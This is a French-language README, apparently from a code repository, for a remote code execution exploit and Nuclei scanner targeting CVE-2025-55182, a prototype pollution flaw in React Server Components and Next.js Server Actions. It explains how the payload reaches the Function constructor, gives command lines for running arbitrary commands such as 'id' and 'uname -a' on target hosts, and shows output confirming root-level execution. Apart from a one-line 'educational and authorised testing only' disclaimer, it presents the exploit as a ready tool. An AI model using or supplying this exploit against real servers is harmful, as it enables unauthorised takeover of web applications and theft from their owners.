
CVE-2025-55182 - Exploit et scanner RCE React Server Components Prend en charge les serveurs externes et l'interface CLI
Exploit et scanner d'exécution de code à distance complet pour CVE-2025-55182 dans les Actions Serveur React/Next.js.
PoC original : Spritualkb/CVE-2025-55182-exp
CVE-2025-55182 est une vulnérabilité critique de pollution de prototype dans les composants serveur React qui permet l'exécution de code à distance. Ce dépôt fournit à la fois des outils de scan automatisé (modèle Nuclei) et d'exploitation manuelle (script Python).
Mécanisme de la vulnérabilité :
L'exploit exploite la pollution de prototype dans la désérialisation du protocole React Flight. Il pollue Object.prototype.then via "$1:__proto__:then" et obtient l'accès au constructeur Function via _formData.get défini sur "$1:constructor:constructor", puis injecte du code malveillant via _prefix qui est exécuté par Function().
cve-2025-55182.yaml)Scanner de vulnérabilité automatisé qui exécute la commande id et récupère la sortie via l'en-tête X-Action-Redirect.
Utilisation :
nuclei -u http://target.com:3000 -t cve-2025-55182.yaml
Fonctionnalités :
id) pour vérifier l'RCECVE-2025-55182.py)Script d'exploit RCE complet qui exécute des commandes arbitraires et récupère la sortie.
Utilisation :
python3 CVE-2025-55182.py http://target.com:3000 -c "id"
python3 CVE-2025-55182.py https://target.com -c "whoami" --no-check-ssl
python3 CVE-2025-55182.py 192.168.1.100:3000 -c "uname -a"
Fonctionnalités :
X-Action-Redirect$ nuclei -u http://localhost:3001 -t cve-2025-55182.yaml
[cve-2025-55182:command_output] [http] [critical] http://localhost:3001 ["uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"]
[INF] Scan completed in 28.35483ms. 1 matches found.
$ python3 CVE-2025-55182.py http://localhost:3001 -c "id"
============================================================
CVE-2025-55182 RCE Exploit
React Server Components Remote Code Execution
============================================================
[*] Target: http://localhost:3001
[*] Command: id
[*] Building payload...
[*] Sending exploit payload...
============================================================
[+] Command executed successfully!
============================================================
[+] Command Output:
------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
------------------------------------------------------------
============================================================
[*] Exploitation attempt completed
============================================================
UNIQUEMENT À DES FINS ÉDUCATIVES ET DE TEST AUTORISÉ